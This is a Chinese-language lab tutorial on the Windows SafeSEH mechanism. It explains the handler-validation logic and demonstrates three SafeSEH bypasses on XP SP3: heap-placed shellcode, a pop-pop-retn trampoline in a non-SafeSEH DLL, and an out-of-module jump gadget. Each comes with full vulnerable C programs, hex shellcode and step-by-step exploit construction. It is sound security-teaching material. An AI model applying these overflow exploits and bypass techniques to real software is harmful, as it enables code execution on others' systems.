亡羊补牢:SafeSEH
[TOC]
SafeSEH 对异常处理的保护原理
SafeSEH的原理
在程序调用异常处理函数前,对要调用的异常处理函数进行一系列的有效性校验,当发现异常处理函数不可靠时终止异常处理函数的调用。SafeSEH 需要操作系统和编译器的双重支持,二者缺一都会降低 SafeSEH 的保护能力。
编译器在SafeSEH 机制中所做的工作
启用/SafeSEH 链接选项后,编译器在编译程序的时候将程序所有的异常处理函数地址提取出来,编入一张安全 S.E.H 表,并将这张表放到程序的映像中。当程序调用异常处理函数的时候,会将函数地址与安全 S.E.H 表进行匹配,检查调用的异常处理函数是否位于安全 S.E.H 表中。
比较同一段代码在 VC++ 6. 0 (没有SafeSEH机制)和 VS 2008(有SafeSEH机制)分别编译后安全 S.E.H 表的区别。VS 2008 在编译程序时将程序中的异常处理函数的地址提取出来放到安全 S.E.H 表中。
操作系统在SafeSEH机制中的作用
通过前面(文章《形形色色的内存攻击技术》中)对S.E.H的的介绍,我们知道异常处理函数的调用是通过 RtlDispatchException()函数处理实现的,SafeSEH机制也是从这里开始的。
保护措施:
(1)检查异常处理链是否位于当前程序的栈中,如下图所示。如果不在当前栈中,程序将终止异常处理函数的调用。
(2)检查异常处理函数的指针是否指向当前程序的栈中,如上图所示。如果指向当前栈中,程序将终止异常处理函数的调用。
(3)在前面两项检查都通过后,程序调用 RtlIsValidHandler(),来对异常处理函数的有效性进行验证。
RtlIsValidHandler() 都做了哪些工作呢?
首先,该函数判断异常处理函数地址是不是在加载模块的内存空间,如果属于加载模块的内存空间,校验函数将依次进行如下校验。
( 1)判断程序是否设置了 IMAGE_DLLCHARACTERISTICS_NO_SEH 标识。如果设置了这个标识,这个程序内的异常会被忽略,函数直接返回校验失败。 ( 2)检测程序是否包含安全 S.E.H 表。如果程序包含安全 S.E.H 表,则将当前的异常处理函数地址与该表进行匹配,匹配成功则返回校验成功,匹配失败则返回校验失败。 ( 3)判断程序是否设置 ILonly 标识。如果设置了这个标识,说明该程序只包含.NET 编译人中间语言,函数直接返回校验失败。 ( 4)判断异常处理函数地址是否位于不可执行页( non-executable page)上。当异常处理函数地址位于不可执行页上时,校验函数将检测 DEP 是否开启,如果系统未开启 DEP 则返回校验成功,否则程序抛出访问违例的异常。
如果异常处理函数的地址没有包含在加载模块的内存空间,校验函数将直接进行 DEP 相关检测,函数依次进行如下校验。 ( 1)判断异常处理函数地址是否位于不可执行页( non-executable page)上。当异常处理函数地址位于不可执行页上时,校验函数将检测 DEP 是否开启,如果系统未开启 DEP 则返回校验成功,否则程序抛出访问违例的异常。 ( 2)判断系统是否允许跳转到加载模块的内存空间外执行,如果允许则返回校验成功,否则返回校验失败。
RtlIsValidHandler()函数的伪代码如下所示:
BOOL RtlIsValidHandler(handler)
{
if (handler is in an image) { //在加载模块内存空间内
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE;
if (image has a SafeSEH table){ //含有安全 S.E.H 表,说明程序启用 SafeSEH
if (handler found in the table)//异常处理函数地址出现在安全 S.E.H 表中
return TRUE;
else
return FALSE;
}
if (image is a .NET assembly with the ILonly flag set) //只包含 IL
return FALSE;
}
if (handler is on a non-executable page) { //跑到不可执行页上了
if (ExecuteDispatchEnable bit set in the process flags) //DEP 关闭
return TRUE;
else
raise ACCESS_VIOLATION; //抛出访问违例异常
}
if (handler is not in an image) { //在加载模块内存之外,并且在可执行页上
if (ImageDispatchEnable bit set in the process flags)
//允许在加载模块内存空间外执行
return TRUE;
else
return FALSE;
}
return TRUE; //前面条件都不满足的话只能允许这个异常处理函数执行了
}
RtlIsValidHandler() 函数在哪些情况下允许异常处理函数执行? ( 1)异常处理函数位于加载模块内存范围之外, DEP 关闭。 ( 2)异常处理函数位于加载模块内存范围之内,相应模块未启用 SafeSEH(安全 S.E.H 表为空),同时相应模块不是纯 IL。 ( 3)异常处理函数位于加载模块内存范围之内,相应模块启用 SafeSEH(安全 S.E.H 表不为空),异常处理函数地址包含在安全 S.E.H 表中。
我们来分析一下这三种情况攻击成功的可行性。 ( 1)现在我们只考虑 SafeSEH,不考虑 DEP,针对 DEP 的讨论我们放到下一节中。排除DEP 干扰后,我们只需在加载模块内存范围之外找到一个跳板指令就可以转入 shellcode 执行,这点还是比较容易实现的。 ( 2)在第二种情况中,我们可以利用未启用 SafeSEH 模块中的指令作为跳板, 转入 shellcode 执行,这也是为什么我们说 SafeSEH 需要操作系统与编译器的双重支持。在加载模块中找到一个未启用的 SafeSEH 模块也不是一件很困难的事情。 ( 3)这种情况下我们有两种思路可以考虑,一是清空安全 S.E.H 表,造成该模块未启用SafeSEH 的假象;二是将我们的指令注册到安全 S.E.H 表中。由于安全 S.E.H 表的信息在内存中是加密存放的,所以突破它的可能性也不大,这条路我们就先放弃吧。
通过以上分析可以得出结论:突破 SafeSEH 还是可以做到的。您可能会问这些方法貌似有点复杂,有没有更为简便的方法突破呢?很负责地告诉您,有两种更为简便直接方法可以突破 SafeSEH。 ( 1)不攻击 S.E.H(太邪恶了),可以考虑覆盖返回地址或者虚函数表等信息。 ( 2)利用 S.E.H 的终极特权!这种安全校验存在一个严重的缺陷——如果 S.E.H 中的异常函数指针指向堆区,即使安全校验发现了 S.E.H 已经不可信,仍然会调用其已被修改过的异常处理函数,因此只要将 shellcode 布置到堆区就可以直接跳转执行!
请注意本节所有关于绕过 SafeSEH 机制的讨论均不考虑 DEP 的影响
攻击返回地址绕过 SafeSEH
如果碰到一个程序,他启用了 SafeSEH 但是未启用 GS,或者启用了 GS 但是刚好被攻击的函数没有 GS 保护(我们不考虑这种事情发生的概率,而且这种漏洞的的确确存在),攻击者肯定会直接攻击函数返回地址。实验请看《栈中的守护天使:GS》,这里不再重复介绍了。
利用虚函数绕过 SafeSEH
利用思路和我们在《栈中的守护天使:GS》中介绍的类似,通过攻击虚函数表来劫持程序流程,这个过程不涉及任何异常处理, SafeSEH 也就只是个摆设。在这我们就不做过多介绍了。
从堆中绕过 SafeSEH
演示如何利用堆绕过 SafeSEH。
#include<stdafx.h>
#include<stdlib.h>
#include<string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF8\x3D\x39\x00"//address of shellcode in heap
;
//char shellcode[]=
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//;
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
zero=1/zero;
}
void main()
{
char * buf=(char *)malloc(500);
__asm int 3
strcpy(buf,shellcode);
test(shellcode);
}
实验思路: ( 1)首先在堆中申请 500 字节的空间,用来存放 shellcode。 ( 2)函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖程序的 S.E.H 信息。 ( 3)用 shellcode 在堆中的起始地址覆盖异常处理函数地址,然后通过制造除 0 异常,将程序转入异常处理,进而跳转到堆中的 shellcode 执行。
推荐使用的环境 | 备 注 | |
---|---|---|
操作系统 | Window XP SP3 | DEP 关闭 |
编译器 | Visual Studio 2008 | |
编译选项 | 禁用优化选项 | |
build 版本 | release 版本 |
说明: shellcode 中尾部的 0x00393DF8 为 shellcode 在堆中的起始地址,该地址可能在实验过程中需要重新设置。
首先将 shellcode 填充为多个 0x90,然后将程序用 VS2008 编译好后运行,由于我们再程序中加入了 int 3 指令,程序会自动中断,我们选择调试后系统会调用默认调试器进行调试,程序会自动停在 __asm int 3 处 。
如下图,程序中断前刚刚完成堆中空间申请,此时寄存器 EAX 中存放着申请空间的首地址 0x00393DF8,这个地址在不同机器上会有所不同。有了 shellcode的首地址,我们还需要确定shellcode需要填充多少字节才能淹没异常函数的地址。继续运行程序,中断在 test 函数中字符串复制结束时。
如下图所示,被溢出的字符串起始地址为 0x0012FE8C,S.E.H 异常处理函数指针位于 0x0012FFB0+4 的位置。所以我们使用 300 个字节就能覆盖掉异常处理函数指针。
布置 shellcode:
验证我们的分析是否正确。程序依然会被 INT 3 中断,等OllyDbg运行后 按Ctrl+G 跳转到 0x00393DF8 设置断点,然后按F9继续运行,可以看到程序在 0x00393DF8 处中断,说明我们已经成功绕过SafeSEH 转入 shellcode 执行。继续执行就会看到 failwest 对话框了。
利用未启用 SafeSEH 模块绕过 SafeSEH
SafeSEH 对于未启用 SafeSEH 模块中的异常处理的校验过程:如果模块未启用 SafeSEH,并且该模块包含除中间语言(IL)之外的其它语言,这个异常处理就可以被执行。所以我们可以利用未启用 SafeSEH 的模块中的指令作为跳板来绕过 SafeSEH。
实验思路:构造一个不启用 SafeSEH 的 dll,然后将其加载,并通过它里面的指令作为跳板实现 SafeSEH 的绕过。
//SEH_NOSafeSEH_JUMP.DLL
#include"stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
//SEH_NOSafeSEH.EXE
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
__asm int 3
test(shellcode);
return 0;
}
实验思路:
( 1)用 VC++ 6 .0 编译一个不使用 SafeSEH 的动态链接库 SEH_NOSafeSEH_JUMP.DLL,然后由启用 SafeSEH 的应用程序 SEH_NOSafeSEH.EXE 去加载它。 ( 2)SEH_NOSafeSEH 中的 test 函数通过向 str 复制超长字符串造成 str 溢出,进而覆盖程序的 S.E.H 信息。 ( 3)使用 SEH_NOSafeSEH_JUMP.DLL 中的“pop pop retn”指令地址覆盖异常处理函数地址,然后通过制造除 0 异常,让程序转入异常处理。通过劫持异常处理流程,程序转入SEH_NOSaeSEH_JUMP.DLL 中执行“pop pop retn” 指令,在执行 retn 后程序转入 shellcode 执行。
推荐使用的环境 | 备 注 | |
---|---|---|
操作系统 | Window XP SP3 | DEP 关闭 |
EXE 编译器 | Visual Studio 2008 | |
DLL 编译器 | VC++ 6.0 | 将 dll 基址设置为 0x11120000 |
编译选项 | 禁用优化选项 | |
build 版本 | release 版本 |
说明:将 dll 基址设置为 0x11120000 是为了防止“ pop pop retn”指令地址中存在 0x00。 如果以 VC++ 6.0 的默认加载基址 0x10000000 为 DLL 的加载基址,DLL 中的 “pop pop retn” 指令地址可能会包含 0x00,这会导致我们在进行 strcpy 操作时会将字符串截断影响 shellcode 的复制。
注意:记得禁用优化选项,Project –> Properties –> Configuration Properties –> C/C++ –> Optimization –> Optimization 选择 Disabled
实验步骤:
( 1)编译一个不启用 SafeSEH 的 DLL
- 在VC++ 6.0 中建立一个 Win32 的动态链接库,如下图所示
- 重新设置基址,在顶部菜单中选择 “工程 —> 设置”,然后切换到 ”连接“ 选项卡,在 “工程选项“ 的输入框中添加 ” /base:“0x11120000” “即可,如下图所示
- 编译好后,将 SEH_NOSafeSEH_JUMP.DLL 复制到与 SEH_NOSafeSEH.EXE 相同目录下。
( 2)分析要溢出的主程序
- 添加 INT 3中断,然后通过 OllySSEH 插件查看加载模块的 SafeSEH 情况。
插件下载地址:( https://bbs.pediy.com/thread-45544.htm ) OllySSEH 对于 SafeSEH 的描述: (1) /SafeSEH OFF,未启用 SafeSEH,这种模块可以作为跳板。
(2) /SafeSEH ON,启用 SafeSEH,可以使用右键点击查看 S.E.H 注册情况。
(3) No SEH,不支持 SafeSEH,即 IMAGE_DLLCHARACTERISTICS_ NO_SEH 标志位被设置,模块内的异常会被忽略,所以不能作为跳板。
(4) Error,读取错误
查看结果,如下图所示。主程序 SEH_NOSafeSEH.EXE 中启用了 SafeSEH,但是它里面的模块SEH_NOSafeSEH_JUMP.DLL 未启用 SafeSEH,我们可以利用这个 DLL 中的 ”pop pop retn“ 指令作为跳板来绕过 SafeSEH。
( 3)确定跳板地址
转到 0x11120000 中右击,查找 –> 命令序列
在命令序列框中输入下图命令,查找它
然后我们就找到了在DLL中的 “pop eax pop eax retn”,位于 0x11121068 处,如下图
( 4)构造 shellcode
- 计算被溢出字符串到最近的异常处理函数指针的距离。 先将 shellcode 赋值为 0x90 串,长度小于 200 个字节,然后再 strcpy 操作结束后中断程序。 如下图,被溢出字符串起始位置为 0x0012FDB8
距离它最近的异常处理函数指针位于 0x0012FE90+4 位置。
由于这次使用的是 “pop pop retn” 指令序列,所以我们要将弹出 “failwest” 对话框的机器码放到 shellcode 的后半部分。(避免未命中)
注意:经过 VS 2008 编译的程序,在进入含有__try{}的函数时会在 Security Cookie+4 的位置压入-2( VC++ 6.0 下为-1),在程序进入__try{}区域时程序会根据该__try{}块在函数中的位置而修改成不同的值。
例如,函数中有两个__try{}块,在进入第一个__try{}块时这个值会被修改成 0,进入第二个的时候被修改为 1。如果在__try{}块中出现了异常,程序会根据这个值调用相应的__except()处理,处理结束后这个位置的值会重新修改为-2;如里没有发生异常,程序在离开__try{}块时这个值也会被修改回-2。当然这个值在异常处理时还有其他用途,在这我们不过多介绍,有兴趣的话可以自己跟踪调试一下。我们只需要知道由于它的存在,我们的 shellcode 可能会被破坏。
为了避免shellcode 关键部分被破坏,我们采用一下布局:shellcode 最开始部分为 220 个字节的 0x90 填充;在 221~224 位置用跳板地址 0x11121068 覆盖;然后再跟上 8 个字节的 0x90 填充;最后附上弹出 “ failwest” 对话框的机器码。这样就可以保证弹出对话框的机器码不被破坏了。
题外话: 在实际的溢出过程中由于条件限制和未知因素, shellcode 有时会被破坏,出现这种情况时可以尝试不同的 shellcode 布局,使用不同的跳转指令,以避开这些破坏。
( 5)调试运行
- 将上面的 shellcode 布置好后,编译运行程序,用 OllyDbg 调试程序,在 0x11121068 处下断点,让程序继续运行。
- 我们将会看到,程序停在 0x11121068 处,说明我们已经进入DLL 绕过 SafeSEH,成功劫持程序流程了,如下图。
- 继续单步执行,我们将会看到从 0x0012FE90 到 0x0012FEA0 中有一些未知命令,分别是我们用来覆盖异常函数指针的跳板地址和进入__try{}块时被赋值为 0 的部分。本实验中它们对实验结果没有影响,如果有影响,就要用向后跳转指令,跳过影响指令,直接进入关键部分。
可以尝试将 shellcode 中的 217~220 字节用 0xEB0E9090 填充,执行后,他会跳过 shellcode 中间部分,直接运行到弹出对话框部分。
- 按F9继续执行,就能看到对话框了。
利用加载模块之外的地址绕过 SafeSEH
在前面我们讲过,SafeSEH 只检查异常处理函数指针是否指向栈中地址,对于指向其它地址它是不对其进行有效性验证的。所以我们可以让异常处理函数指针指向非栈地址,进而就能绕过 SafeSEH 检验。
然而当程序加载到内存中后,在它所占的整个内存空间中,除了我们平时常见的 PE 文件模块( EXE 和 DLL)外,还有其他一些映射文件(我们可以通过 OllyDbg 的“view→memory”查看程序的内存映射状态)。例如下图中的 map类型,如果我们能在这些文件中找到跳转指令的话就可以绕过 SafeSEH,而这样的指令也确实存在。
跳板指令:
除了前面的 pop eax pop eax retn 外,还有以下指令
call/jmp dword ptr[esp+0x8]
call/jmp dword ptr[esp+0x14]
call/jmp dword ptr[esp+0x1c]
call/jmp dword ptr[esp+0x2c]
call/jmp dword ptr[esp+0x44]
call/jmp dword ptr[esp+0x50]
call/jmp dword ptr[ebp+0xc]
call/jmp dword ptr[ebp+0x24]
call/jmp dword ptr[ebp+0x30]
call/jmp dword ptr[ebp-0x4]
call/jmp dword ptr[ebp-0xc]
call/jmp dword ptr[ebp-0x18]
只要找到一条指令就能绕过 SafeSEH 了。我们通过下面的程序来演示和分析如何在所有加载模块都开启 SafeSEH 机制的情况下绕过 SafeSEH。
#include"stdafx.h"
#include<string.h>
#include<windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"……"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// far jump and \x90
"\xEB\xF6\x90\x90"// short jump and \x90
"\x0B\x0B\x29\x00"// address of call [ebp+30] in outside memory
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
//__asm int 3
test(shellcode);
return 0;
}
实验思路: ( 1) Test 函数中通过向 str 复制超长字符串造成 str 溢出,进而覆盖程序的 S.E.H 信息。 ( 2)该程序中所有加载模块都启用了 SafeSEH 机制,故我们不能通过未启用 SafeSEH 的模块还绕过 SafeSEH 了。 ( 3)将异常处理函数指针覆盖为加载模块外的地址来实现对 SafeSEH 的绕过,然后通过除 0 触发异常将程序转入异常处理,进而劫持程序流程。
推荐使用的环境 | 备 注 | |
---|---|---|
操作系统 | Window XP SP3 | DEP 关闭 |
编译器 | Visual Studio 2008 | |
编译选项 | 禁用优化选项 | |
build 版本 | release 版本 |
说明: shellcode 中尾部的 0x00290B0B 为 Windows XP SP3 下的跳板地址,如果您在其他操作系统下测试,该地址可能需要重新设置。
实验步骤:
( 1)分析程序,先将 shellcode 填充为多个 0x90(长度不超过200个),然后编译运行程序。 在 Ollydbg 中用 OllySEH 插件分析加载模块的 SafeSEH 情况,如下图,可以看到,所有加载模块都没有 /SafeSEH OFF 状态。
( 2)在加载模块内存之外寻找合适的跳板绕过 SafeSEH。
- 接下来需要使用 OllyFindAddr 插件,它能在整个程序的内存空间搜索指令。OllyFindAddr下载地址:https://bbs.pediy.com/thread-198080.htm
- 使用 call/jmp dword ptr[ebp+n]指令作为跳板。插件 —> OllyFindAddr —> Overflow return address —> Find CALL/JMP [EBP+N]
- 在日志中查看搜索结果。Module:Unknown,就是加载模块之外的指令,将 0x00280B0B 作为跳板。
如果不确定,也可以将它与加载模块逐一比对。
( 3)消除异常。如果直接用 0x00280B0B 构造 shellcode,那shellcode 可能会被它中的0x00截断,所以我们要将跳板放在shellcode的最后,防止其造成异常。
通过前面利用未启用 SafeSEH 模块绕过 SafeSEH,我们知道通过跳板指令转入 shellcode 后首先是4个字节的 0x90 的填充,所以我们可以利用这4个字节来跳转到 shellcode,而前面提到的 0xEB0E9090,其实 0xEB0E 是向前跳转 0x0E 的机器码,可以把它放在这4字节中,但由于1个字节的操作数向前回跳的范围有限,不足以跳转到shellcode 的起始地址,所以我们用两次跳转来完成跳跃。
部署两个跳板,在刚刚的 4个字节中部署短跳转指令 0xEBF6 向前回跳 8个字节。(JMP 指令用相对地址跳转时,是以 JMP 下一条指令的地址为基准,所以实际上是向后跳转10个字节)在这 8个字节中再布置一条 5字节的长跳转指令,跳转到 shellcode 的起始部分。
( 4)构造 shellcode
- 确定 shellcode 起始地址到长跳转指令之间的距离。
本实验中,被溢出字符串起始位置为 0x0012FE88,距离最近 SEH地址为 0x0012FF60,部署长跳转指令位于 0x0012FF58,所以我们需要回跳 213 个字节(包含长跳转指令的 5 个字节),使用 E92BFFFFFF(跳转 0xFFFFFF2B 个字节)填充长跳位置。
除 0 异常后,最近SEH 地址为0x0012FF60
- 部署 shellcode
( 5)运行验证,对话框弹出